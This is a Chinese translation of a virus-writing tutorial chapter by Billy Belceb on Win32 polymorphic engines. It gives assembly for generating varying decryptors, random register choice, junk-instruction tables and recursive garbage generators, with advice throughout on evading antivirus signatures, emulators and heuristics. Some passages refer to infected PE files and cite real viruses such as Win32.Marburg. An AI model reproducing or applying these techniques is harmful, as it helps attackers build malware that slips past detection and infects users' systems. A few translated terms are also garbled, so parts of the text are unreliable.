Billy Belceb 病毒編寫教程for Win32 ----Win32多型

看雪資料發表於2004-05-28

【Win32 多型(Win32 polymorphism)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    許多人對我說,在我的MS-DOS病毒教程中最大的弱點是多型那一章(btw,我是在15歲的時候寫的它,我知道彙編僅僅1個月)。但是基於這個原因,我將試圖另外寫一個,全新的,從0開始。從那時起我讀了許多多型的文件,而且毫無疑問,對我影響最大的是Qozah的,雖然它非常簡單,他解釋了我們在編寫一個多型引擎(如果你想讀它,從病毒站點下載DDT#1)更應該清楚的所有概念。我將在這一章裡提到真正最基礎的東西,所以如果你已經有這方面的基礎知識了,跳過去!

%介紹%
~~~~~~
    多型存在的主要原因是,總是和反病毒軟體的存在相關的。在那個沒有多型引擎的時代,反病毒軟體透過簡單地使用一個掃描字串來檢測病毒,它們最困難地是加密了地病毒。所以,一個病毒編寫者有了一個天才的想法。我敢肯定他在想“為什麼我不編寫一個不可掃描的病毒呢,這是透過技術來實現?”然後,多型誕生了。多型意味著在一個加了密的病毒中包括解密部分之內,排除所有可能的恆定不變的位元組來避免被掃描。是的,多型意味著為病毒建立變化的解密程式。呵呵,簡單而有效。這是基本的概念:永遠不要建立兩個一樣(在外觀上)的解密程式,但是總是能完成相同的功能。它好像是加密的自然擴充套件,但是因為加密程式碼還不是足夠短,它們可以透過一個字串來抓住,但是,利用多型,字串就沒有用了。

%多型級別%
~~~~~~~~~~
    每個級別的多型都有它自己的名字,是由反病毒者給的。讓我們用AVPVE的一小段來看看它(好樣的,Eugene)。

-----------------------------------------

    根據這些病毒的解密程式碼的複雜性,對於多型病毒有一個分級系統。這個系統是由Dr. Alan Solomon提出然後由Vesselin Bontchev改進的。

第1級:病毒有一些不變的解密程式碼集合,在感染的時候會選擇一個。這種病毒被叫做"semi-polymorphic"或者"oligomorphic"。

例子:"Cheeba", "Slovakia", "Whale"。

第2級:病毒解密程式包含一個或幾個不變的指令,其它的都是改變的。

第3級:解密程式有沒有用的函式-“垃圾”如NOP, CLI, STI,等等。

第4級:解密程式使用可互換的指令並改變它們的順序(指令混合)。解密演算法保持不變。

第5級:上述提到的所有技術都用到了,解密演算法也是可變的,重複加密病毒程式碼甚至部分地加密解密程式本身程式碼也是可能的。

第6級:交換病毒。病毒的主要程式碼以改變為條件進行改變,在感染的時候隨機的分成了記過部分。儘管那樣,病毒還是能繼續工作。這樣的病毒可能沒有加密。

    這樣的分類仍然有缺點,因為主要標準是在病毒標誌的慣例技術的幫助下根據解密程式的程式碼來檢測病毒的可能性:

第1級:為了檢測病毒是否足夠有一些標誌

第2級:透過使用“百搭牌(wild cards)”的幫助來檢測病毒

第3級:利用檢測“垃圾”程式碼來檢測病毒

第4級:標誌包含一些版本的可能程式碼,也就是演算法

第5級:使用標誌不可能檢測到病毒

    這種分類在第3級的多型病毒,只是按照它這麼叫的"第3級"就可以看出不足了。這個病毒是最複雜的多型病毒之一,根據當前的分類而到了第3級目錄中了,因為它有一個不變的解密演算法前面是大量的“垃圾”指令。然而,在這個病毒中“垃圾”產生演算法幾乎是完美的:在解密程式碼中可能會找到幾乎所有的i8086指令。

    如果病毒按照現在的反病毒觀點來分到這個級別,使用自動解密病毒程式碼(模擬)系統,那麼這個分類將會基於病毒程式碼的複雜性。其它病毒檢測技術也是可能的,例如,在原始的數學規律的幫助下解密,等等。

    因此,如果除了病毒標誌線索外,其它的引數也考慮了,這個分類在我心目中的分類更客觀。

1.多型程式碼的複雜度(所有的處理指令在整個解密程式碼中佔的比例)
2.反模擬技術使用
3.解密演算法的恆定chdu
4.機密程式長度的恆定程度

    我不想更詳細的討論這些了,因為結果是將會導致厲害的病毒編寫者們創造出這種型別的怪物。

-----------------------------------------

%我怎樣來編寫一個多型呢%
~~~~~~~~~~~~~~~~~~~~~~~~
    首先,你必須在必須在你的腦海中清楚你想要使你的解密程式是什麼樣。例如:

        mov     ecx,virus_size
        lea     edi,pointer_to_code_to_crypt
        mov     eax,crypt_key
 @@1:   xor     dword ptr [edi],eax
        add     edi,4
        loop    @@1

    那是一個非常簡單的例子,是嗎?我們這裡主要有6塊(每個指令是一塊)。想象一下你使得那個程式碼不一樣有多少種可能性呢:

- 改變暫存器
- 改變頭3個指令的順序
- 為了達到同樣的目的使用不同的指令
- 插入什麼也不做的指令
- 插入垃圾等等。

    這是多型的主要思想。讓我們看看對這個同樣的解密程式,用一個簡單的多型引擎初始的可能解密程式碼:

        shl     eax,2
        add     ebx,157637369h
        imul    eax,ebx,69
 (*)    mov     ecx,virus_size
        rcl     esi,1
        cli
 (*)    lea     edi,pointer_to_code_to_crypt
        xchg    eax,esi
 (*)    mov     eax,crypt_key
        mov     esi,22132546h
        and     ebx,0FF242569h
 (*)    xor     dword ptr [edi],eax
        or      eax,34548286h
        add     esi,76869678h
 (*)    add     edi,4
        stc
        push    eax
        xor     edx,24564631h
        pop     esi
 (*)    loop    00401013h
        cmc
        or      edx,132h
        [...]

    你明白了思想了沒?對於一個病毒分析者來說,明白這樣一個解密程式不是非常困難(對他們來說比一個沒有加密的病毒要困難多了)。還可以做許多改進,相信我。我想你意識到了我們需要在我們的多型引擎中有不同的函式:一個用來為解密程式創造“合法”的指令,另外一個用來創造垃圾。這是你在編寫一個多型引擎時必須有的主要主意。從這一點開始,我將盡可能的更好地解釋這個。

%非常重要地東西:RNG%
~~~~~~~~~~~~~~~~~~~~~
    是的,在一個多型引擎中最重要的部分是隨機數發生器(Random Number Generator),即RNG。一個RNG是一段能夠返回一個徹底隨機的數的程式碼。下面是DOS下的一個經典的程式,在Win9X下,甚至在Ring-3工作,但是不能在NT中工作。

 random:
        in      eax,40h
        ret

    這個將會在EAX的MSW中返回0,LSW中返回一個隨機值。但是,這個不夠強大...我們必須招另外一個...這得靠你了。這裡我所能做的唯一一件事情是用一個小程式讓你知道你的RNG是否強大。它在Win32.Marburg(作者GriYo/29A)的發作中也是由GriYo測試的這個病毒的RNG。毫無疑問,這個程式碼被合適的修改了,這樣可以被容易的編譯和執行。

;------從這裡開始剪下-----------------------------------------------------------------
;
; RNG Tester
; ==========
;
; 如果螢幕上的圖示是真正的被“隨機的”放置了,那麼這個RNG就是一個不錯的,但是如果如果圖
; 標是在螢幕的相同位置,或者你主意到圖示在螢幕上有奇怪的行為,試試另外的RNG。

        .386
        .model  flat

res_x   equ     800d                            ; Horizontal resolution
res_y   equ     600d                            ; Vertical resolution

extrn   LoadLibraryA:PROC                       ; All the APIs needed by the
extrn   LoadIconA:PROC                          ; RNG tester
extrn   DrawIcon:PROC
extrn   GetDC:PROC
extrn   GetProcAddress:PROC
extrn   GetTickCount:PROC
extrn   ExitProcess:PROC

        .data

szUSER32        db      "USER32.dll",0          ; USER32.DLL ASCIIz string

a_User32        dd      00000000h               ; Variables needed
h_icon          dd      00000000h
dc_screen       dd      00000000h
rnd32_seed      dd      00000000h
rdtsc           equ     <dw 310Fh>

        .code

RNG_test:
        xor     ebp,ebp                         ; Bah, i am lazy and i havent
                                                ; removed indexations of the
                                                ; code... any problem?

        rdtsc
        mov     dword ptr [ebp+rnd32_seed],eax

        lea     eax,dword ptr [ebp+szUSER32]
        push    eax
        call    LoadLibraryA

        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+a_User32],eax

        push    32512
        xor     edx,edx
        push    edx
        call    LoadIconA
        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+h_icon],eax

        xor     edx,edx
        push    edx
        call    GetDC
        or      eax,eax
        jz      exit_payload
        mov     dword ptr [ebp+dc_screen],eax

        mov     ecx,00000100h                   ; Put 256 icons in the screen

loop_payload:

        push    eax
        push    ecx
        mov     edx,eax
        push    dword ptr [ebp+h_icon]
        mov     eax,res_y
        call    get_rnd_range
        push    eax
        mov     eax,res_x
        call    get_rnd_range
        push    eax
        push    dword ptr [ebp+dc_screen]
        call    DrawIcon
        pop     ecx
        pop     eax 
        loop    loop_payload

exit_payload:
        push    0
        call    ExitProcess

; RNG - This example is by GriYo/29A (see Win32.Marburg)
;
; For test the validity of your RNG, put its code here ;)
;

random  proc
        push    ecx                             
        push    edx                             
        mov     eax,dword ptr [ebp+rnd32_seed]
        mov     ecx,eax
        imul    eax,41C64E6Dh
        add     eax,00003039h
        mov     dword ptr [ebp+rnd32_seed],eax
        xor     eax,ecx
        pop     edx
        pop     ecx
        ret
random  endp

get_rnd_range proc
        push    ecx
        push    edx
        mov     ecx,eax
        call    random
        xor     edx,edx
        div     ecx
        mov     eax,edx  
        pop     edx
        pop     ecx
        ret
get_rnd_range endp

end     RNG_test

;------到這裡為止剪下-----------------------------------------------------------------

    它很有意思,至少對我來說是這樣的,為了看看不同數學操作的作用。

 % 多型引擎的基本概念 %
~~~~~~~~~~~~~~~~~~~~~~~~
    我想你應該知道我將要解釋什麼了,所以,如果你已經編寫了一個多型引擎,或者你知道怎麼建立一個,我肯定建議你跳過這一段,或者你將開始譴責我的愚蠢,這是我不想要的。

    首先,我們將要在一個臨時緩衝去通常是堆裡產生程式碼,但是也可以很容易地利用VirtualAlloc 或者 GlobalAlloc API函式來開闢記憶體。我們只是把一個指標指向這個緩衝記憶體區域地開始,而且這個暫存器通常是EDI,因為透過使用STOS類地指令可以最佳化。所以我們要在這塊記憶體緩衝裡放置操作碼位元組。Ok,ok,如果你仍然認為我很糟因為我總是舉一些程式碼例子來解釋東西,我將表明你錯了。

;------從這裡開始剪下-----------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
;  哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪餒
;

        .386                                    ; Blah
        .model  flat

        .data

shit:

buffer  db      00h

        .code

Silly_I:

        lea     edi,buffer                      ; Pointer to the buffer
        mov     al,0C3h                         ; Byte to write, in AL
        stosb                                   ; Write AL content where EDI
                                                ; points
        jmp     shit                            ; As the byte we wrote, C3,
                                                ; is the RET opcode, we fi-
                                                ; nish the execution.

end     Silly_I

;------到這裡為止剪下-----------------------------------------------------------------

    編譯上面地程式碼,看看發生了什麼。呵?我知道它不是什麼事情也沒做。但是你看到了,你產生了程式碼,不是直接編寫的,而且我給你表明了你從0開始初始程式碼,並想想可能性,你可以從一個什麼也沒有的緩衝區裡面初始一整個有用的程式碼。這是多型引擎程式碼(不是多型引擎產生的程式碼)怎樣初始解密程式碼的基本概念。所以,想象一下我們要編寫如下的指令:

        mov     ecx,virus_size
        mov     edi,offset crypt
        mov     eax,crypt_key
 @@1:   xor     dword ptr [edi],eax
        add     edi,4
        loop    @@1

    那麼,從上面的程式碼產生的解密程式將會這樣:

        mov     al,0B9h                         ; MOV ECX,imm32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,virus_size                  ; The imm32 to store
        stosd                                   ; Store EAX where EDI points
        mov     al,0BFh                         : MOV EDI,offset32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,offset crypt                ; Offset32 to store
        stosd                                   ; Store EAX where EDI points
        mov     al,0B8h                         ; MOV EAX,imm32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,crypt_key                   ; Imm32 to store
        stosd                                   ; Store EAX where EDI points
        mov     ax,0731h                        ; XOR [EDI],EAX opcode
        stosw                                   ; Store AX where EDI points
        mov     ax,0C783h                       ; ADD EDI,imm32 (>7F) opcode
        stosw                                   ; Store AX where EDI points
        mov     al,04h                          ; Imm32 (>7F) to store
        stosb                                   ; Store AL where EDI points
        mov     ax,0F9E2h                       ; LOOP @@1 opcode
        stosw                                   ; Store AX where EDI points

    OK,然後你已經產生了它應該是什麼模樣的程式碼,但是你意識到了在真正的程式碼中加一些什麼也不做的指令非常簡單,透過使用同樣的方法。你可以用一個位元組的指令實驗一下,例如,看看它的相容能力。

;------從這裡開始剪下-----------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
; ===================================
;

        .386                                    ; Blah
        .model  flat

virus_size      equ     12345678h               ; Fake data
crypt           equ     87654321h
crypt_key       equ     21436587h

        .data

        db      00h

        .code

Silly_II:

        lea     edi,buffer                      ; Pointer to the buffer
                                                ; is the RET opcode, we fi-
                                                ; nish the execution.

        mov     al,0B9h                         ; MOV ECX,imm32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,virus_size                  ; The imm32 to store
        stosd                                   ; Store EAX where EDI points

        call    onebyte

        mov     al,0BFh                         ; MOV EDI,offset32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,crypt                       ; Offset32 to store
        stosd                                   ; Store EAX where EDI points

        call    onebyte

        mov     al,0B8h                         ; MOV EAX,imm32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,crypt_key
        stosd                                   ; Store EAX where EDI points

        call    onebyte

        mov     ax,0731h                        ; XOR [EDI],EAX opcode
        stosw                                   ; Store AX where EDI points

        mov     ax,0C783h                       ; ADD EDI,imm32 (>7F) opcode
        stosw                                   ; Store AX where EDI points
        mov     al,04h                          ; Imm32 (>7F) to store
        stosb                                   ; Store AL where EDI points

        mov     ax,0F9E2h                       ; LOOP @@1 opcode
        stosw                                   ; Store AX where EDI points

        ret

random:
        in      eax,40h                         ; Shitty RNG
        ret

onebyte:
        call    random                          ; Get a random number
        and     eax,one_size                    ; Make it to be [0..7]
        mov     al,[one_table+eax]              ; Get opcode in AL
        stosb                                   ; Store AL where EDI points
        ret       

one_table       label byte                      ; One-byters table
        lahf
        sahf
        cbw
        clc
        stc
        cmc
        cld
        nop
one_size        equ     ($-offset one_table)-1

buffer  db      100h dup (90h)                  ; A simple buffer
        
end     Silly_II

;------到這裡為止剪下-----------------------------------------------------------------

    呵呵,我建立了一個很弱的3級,比2級強一些的多型引擎:)暫存器交換將在後面解釋,因為它隨著操作碼格式變。但是我在這個小子章節裡的目標達到了:你現在應該知道了我們想要做什麼。想象一下你使用兩個位元組而不是一個位元組,如PUSH REG/POP REG, CLI/STI, 等等。

%“真正”程式碼產生%
~~~~~~~~~~~~~~~~~~
    讓我們再看看我們的指令。

        mov     ecx,virus_size                  ; (1)
        lea     edi,crypt                       ; (2)
        mov     eax,crypt_key                   ; (3)
 @@1:   xor     dword ptr [edi],eax             ; (4)
        add     edi,4                           ; (5)
        loop    @@1                             ; (6)

    為了達到同樣的目的,但是用不同的程式碼,許多事情可以做,而且這是我們的目標。例如,前3個指令可以以其它的順序排列,而且結果不會改變,所以你可以建立一個使它們的順序隨機的函式。而且我們可以使用其它的暫存器,沒有任何問題。而且我們可以使用一個dec/jnz來取代一個loop...等,等,等...

- 你的程式碼應該能夠產生,例如,如下的能夠處理一個簡單指令,讓我們想象一下,第一個mov:

        mov     ecx,virus_size

 或者

        push    virus_size
        pop     ecx

 或者

        mov     ecx,not (virus_size)
        not     ecx

 或者

        mov     ecx,(virus_size xor 12345678h)
        xor     ecx,12345678h

 等, 等, 等...

    所有這些事情可以產生不同的操作碼,而且完成同樣的工作,也就是說,把病毒的大小放到ECX中。毫無疑問,有大量的可能性,因為你可以使用一個使用大量的指令來僅僅把一個值放到一個暫存器中。從你的角度它需要許多想象力。

- 另外一件事情是指令的順序。正如我以前評論的,你可以很容易地沒有任何問題地改變指令地順序,因為對它們來說,順序不重要。所以,例如,取代指令1,2,3,我們可以使它成為3,1,2或者1,3,2等等。只要讓你的想象力發揮作用即可。

- 同樣重要的是,交換暫存器,因為每個操作碼也改變了(例如,MOV EAX,imm32被編碼成B8 imm32而MOV ECX,imm32編碼成B9 imm32)。你應該為解密程式從7個暫存器中使用3個暫存器(千萬不要使用ESP!!!)。例如,想象一下我們選擇(隨機)3個暫存器,EDI作為基指標,EBX作為金鑰而ESI作為計數器;然後我們可以使用EAX, ECX, EDX和EBP作為垃圾暫存器來產生垃圾指令。讓我們來看看關於選3個暫存器來對解密程式產生的程式碼:

---------------------------------------
 InitPoly       proc

 @@1:   mov     eax,8                           ; Get a random reg
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Is ESP? 
        jz      @@1                             ; If it is, get another reg

        mov     byte ptr [ebp+base],al          ; Store it
        mov     ebx,eax                         ; EBX = Base register

 @@2:   mov     eax,8                           ; Get a random reg
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Is ESP?
        jz      @@2                             ; If it is, get another one

        cmp     eax,ebx                         ; Is equal to base pointer?
        jz      @@2                             ; If it is, get another one

        mov     byte ptr [ebp+count],al         ; Store it
        mov     ecx,eax                         ; ECX = Counter register

 @@3:   mov     eax,8                           ; Get random reg
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Is it ESP?
        jz      @@3                             ; If it is, get another one

        cmp     eax,ebx                         ; Is equal to base ptr reg?
        jz      @@3                             ; If it is, get another reg

        cmp     eax,ecx                         ; Is equal to counter reg?
        jz      @@3                             ; If it is, get another one

        mov     byte ptr [ebp+key],al           ; Store it

        ret

 InitPoly       endp

------------------------------------
    現在,你在3個不同的暫存器中有3個變數,我們可以自由地沒有任何問題地使用。對於EAX暫存器我們有一個問題,不是非常重要,但是確實是一個問題。正如你所知道的,EAX暫存器有,在某些指令中,一個最佳化操作碼。這不是一個問題,因為程式碼得到了同樣的執行,但是啟發將會發現一些程式碼是以一個不正確的方式建立的,一種一個"真正"彙編不會用的的方法。你有兩種選擇:如果你仍然想使用EAX,例如,作為你的程式碼中的"活躍"的暫存器,你應該檢查它,如果能夠最佳化它,或者簡單的避免在解密程式中使用EAX暫存器作為"active"暫存器,並只是把它用來做垃圾,直接使用它的最佳化操作碼(把它們建一個表將是一個很偉大的選擇)。我們將在後面看到。我推薦使用一個標誌暫存器,為了最終的垃圾遊戲:)

%垃圾的產生%
~~~~~~~~~~~~
    在質量中,垃圾的質量90%決定了你的多型引擎的質量。是的,我說的是“質量”而非你所想的“數量”。首先,我將列出你在編寫一個多型引擎時的兩個選擇:

- 產生現實程式碼,以合法的應用程式碼面目出現。例如,GriYo的引擎。

- 產生儘可能多的程式碼,以一個破壞的檔案面目出現。例如,Mental Driller的  MeDriPoLen(看看 Squatter)。

    Ok,讓我們開始吧:

?兩個的共同點:

- 用很多不同方式呼叫(呼叫中嵌呼叫再嵌呼叫...)
- 無條件的跳轉

?現實主義:

    一些現實的東西是那些看起來真實的東西,雖然它並不是。對於這個我打算解釋如下:如果你看到大量的沒有CALL和JUMP的程式碼你會怎麼想?如果在一個CMP後面沒有一個條件跳轉你會怎麼想?它幾乎是不可能的,正如你,我和反病毒者知道的。所以我們必須有能力產生所有這些型別的垃圾結構:

 - CMP/條件跳轉
 - TEST/條件跳轉
 - 如果對EAX處理,總是使用最佳化的指令
 - 使用記憶體訪問
 - 產生 PUSH/垃圾/POP 結構
 - 產生非常少的只要一個位元組的程式碼(如果有)

?精神摧毀...恩...象破壞程式碼:

    這個當解密程式充滿了無意義的操作碼看起來不像程式碼的時候發生,也就是說不符合以前列出來的規則的程式碼,而且使用協處理器的不做任何事情的指令,當然了,使用的操作碼越多越好。

 -=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?

    現在,我將試圖解釋程式碼產生的所有要點。首先,讓我們以和它們相關的所有東西開始,CALL和無條件跳轉。

?首先一點,CALL,它非常簡單。你可以做成呼叫子例程,透過許多方式:

 |Figure 1 -------|       |Figure 2 -------|       |Figure 3 -------|
 |     call   @@1 |       |     jmp    @@2 |       |     push   @@2 |
 |     ...        |       |     ...        |       |     ...        |
 |     jmp    @@2 |       |@@1:            |       |@@1:            |
 |     ...        |       |     ...        |       |     ...        |
 |@@1:            |       |     ret        |       |     ret        |
 |     ...        |       |     ...        |       |     ...        |
 |     ret        |       |@@2:            |       |@@2:            |
 |     ...        |       |     ...        |       |     ...        |
 |@@2:            |       |     call   @@1 |       |     call   @@1 |
 |________________|       |________________|       |________________|

   當然你可以把所有的都混合起來,而且結果是,你有許多方式在一個解密程式內部編寫一個子例程。而且,毫無疑問,你可以反過來(你將會聽到我對它提更多的次數),而且可能在另外的CALL裡有CALL,所有這些又在另外一個CALL裡,然後另外一個...真的非常頭疼。

   此外,儲存這些子例程的偏移並在產生的程式碼的任何地方呼叫它將是一個很好的選擇。

?關於非條件跳轉,它非常簡單,因為我們不必要關心在jump之後知道jump的範圍的指令,我們可以插入完全隨機的操作碼,比如垃圾...

 -=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?

    現在,我打算程式碼中的現實主義。GriYo可以被稱為這種型別的引擎的最偉大的代表;如果你看到了他的Marburg引擎, 或者他的HPS引擎,你將會意識到那個,雖然它的簡易,他試圖使得程式碼看起來儘可能真實,而且這個使得反病毒者在獲得一個可靠的對付它的演算法之前都快瘋了。OK,讓我們以一些基本要點開始:

 ?關於 'CMP/條件 jump' 結構,它相當清晰,因為你不放一個條件跳轉,將從不會使用一個比較...OK,但是要編不是0跳轉的jump,也就是說,在條件跳轉和它應該跳轉(或者不跳轉)的偏移之間產生一些可執行的垃圾,而且在分析者的眼中,這些程式碼將更少地被懷疑。

 ?和TEST一樣,但是使用JZ或者JNZ,因為正如你知道地,TEST僅僅會對zero flag有影響。

 ?最有可能製造失敗的是AL/AX/EAX暫存器,因為它們有它們自己的最佳化程式碼。你將得到下面的指令的例子:

 ADD, OR, ADC, SBB, AND, SUB, XOR, CMP 和 TEST (和暫存器很緊密).

 ?關於記憶體訪問,一個好的選擇是至少要獲得被感染的PE檔案的512位元組資料,把它們放到病毒的某處,然後訪問它們,讀或協。試著使用除了簡單的指數,雙精度數,而如果你的大腦能接受它,試著使用雙指數相乘,例如[ebp+esi*4]。並不是你想的那麼困難,相信我。你還可以做一些記憶體移動,用MOVS指示,還可以使用STOS, LODS, CMPS...所有的字串操作也可以使用。這就靠你了。

 ?PUSH/垃圾/POP結構非常有用,因為它的加到引擎中的簡單,還因為好的效果,因為它在一個合法程式中是一個非常普通的結構。

 ?一個位元組的指令的數量,如果太多了,會暴露我們的存在給反病毒者,或者給那些有著好奇的眼睛的傢伙。考慮普通程式不是很正常使用它們,所以最好作一個檢測來避免過多的使用它們,但是仍然每25位元組使用一兩個(我認為這是一個不錯的比率)。

 -=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?

   下面是一些精神摧毀型的東西:)

?你可以使用,例如,下面兩個位元組的協處理器指令是沒有任何型別問題的垃圾:

 f2xm1, fabs, fadd, faddp,  fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp,
 fdiv, fdivp,  fdivr, fdivrp,  ffree,  fincstp,  fld1, fldl2t, fldl2e, fldpi,
 fldln2,  fldz, fmul, fmulp,  fnclex, fnop,  fpatan,  fprem,  fprem1,  fptan,
 frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp,
 ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

    只要在病毒的開始放這兩個指令來重置協處理器:

        fwait
        fninit

    Mental Driller現在正偏向於現實主義了(據我所知)由他的最近的令人印象深刻的引擎(TUAREG),所以...

 % 指令建立 %
~~~~~~~~~~~~~~
    這大概是和多型相關的最重要的事情了:關係在相同指令和不同暫存器之間存在,或者在兩個相同家族的指令之間存在。如果我們把指變成二進位制的話它們之間的關係就非常清晰了。但是,因此,一些有用的資訊:

 暫存器二進位制形式 | 000 001 010 011 100 101 110 111
                  | -------------------------------
 Byte 暫存器      | AL  CL  DL  BL  AH  CH  DH  BH
 Word 暫存器      | AX  CX  DX  BX  SP  BP  SI  DI
 擴充套件暫存器       | EAX ECX EDX EBX ESP EBP ESI EDI
 段               | ES  CS  SS  DS  FS  GS  --  --
 MMX 暫存器       | MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7    

    我認為在寫我的《Virus Writing Guides for MS-DOS》時候,所犯的大錯誤是在我的解釋OpCodes 結構部分,和所有那些東西。這裡我想要描述的是許多"你自己做",就像我在寫一個多型引擎時那樣。只以一個XOR操作碼為例...

        xor     edx,12345678h -> 81 F2 78563412
        xor     esi,12345678h -> 81 F6 78563412

    你看到了不同了嗎?我習慣利用一個偵錯程式,然後寫我想要用一些暫存器構造程式碼,看看有什麼改變。OK,正如你能看到的(嗨!你沒瞎吧?),改變的位元組是第二個。現在是有趣的部分了:把值變成二進位制形式。

        F2 -> 11 110 010
        F6 -> 11 110 110

    OK,你看到了什麼改變了嗎?最後3個bit,對嗎?好了,現在到我把暫存器以二進位制表示的部分:)正如你已經發現的,這3個bit根據暫存器的改變而改變了。所以...

        010 -> EDX 暫存器
        110 -> ESI 暫存器

    只要試著把那3個位元賦其它的二進位制值,你將會發現暫存器是怎麼改變的。但是要小心...不要使用用這個操作碼EAX值(000),因為,所有的算術指令,都對EAX最佳化了,因此要徹底地改變操作碼。

    所以,除錯所有你想要的構造,看看它們之間的關係,並建立產生任何東西的可靠的程式碼。它非常簡單!

 % Recursivity %
~~~~~~~~~~~~~~~~~
    它在你的多型引擎中是一個非常重要的一點。recursivity必須有一個限度,但是依賴於那個限度,程式碼可以非常難理解(如果那個限度很高)。讓我們想象一些有一個所有垃圾程式碼構造器的偏移表:

 PolyTable:
        dd      offset (GenerateMOV)
        dd      offset (GenerateCALL)
        dd      offset (GeneratteJMP)
        [...]
 EndPolyTable:

    並想象一下你有在它們之中選擇的如下例程:

 GenGarbage:
        mov     eax,EndPolyTable-PolyTable
        call    r_range
        lea     ebx,[ebp+PolyTable]
        mov     eax,[ebx+eax*4]
        add     eax,ebp
        call    eax
        ret

    現在想象一下你的'GenerateCALL'指令從內部呼叫'GenGarbage'例程。呵呵'GenGarbage'可以再次呼叫'GenerateCALL',並再次,然後再次(取決於RNG),所以你將有CALL在CALL中在CALL中...我已經在那件事情之前提了一個限度僅僅是為了避免速度問題,但是它可以用這些新的
'GenGarbage'例程來解決:

 GenGarbage:
        inc     byte ptr [ebp+recursion_level]
        cmp     byte ptr [ebp+recursion_level],05 ; <- 5 is the recursion 
        jae     GarbageExit                       ;    level here!

        mov     eax,EndPolyTable-PolyTable
        call    r_range
        lea     ebx,[ebp+PolyTable]
        mov     eax,[ebx+eax*4]
        add     eax,ebp
        call    eax

 GarbageExit:
        dec     byte ptr [ebp+recursion_level]
        ret
 
    所以,我們的引擎將能產生巨大數量的充滿這種CALL的垃圾程式碼;)當然了,這個還可以在PUSH和POP間利用:)

%最後的話%
~~~~~~~~~~
    多型性決定了編碼,所以我不更多的討論了。你應該自己做一個而不是複製程式碼。只要不是對經典引擎用一種型別的簡單加密操作,和非常基礎的垃圾如MOV,等等。使用你可以想到的所有主意。例如,有許多型別的CALL可做:3種風格(正如我以前描述的),此外,你可以建立堆疊結構,PUSHAD/POPAD,透過PUSH(然後是一個 RET x)來傳送引數,還有更多的。要有想象力!

相關文章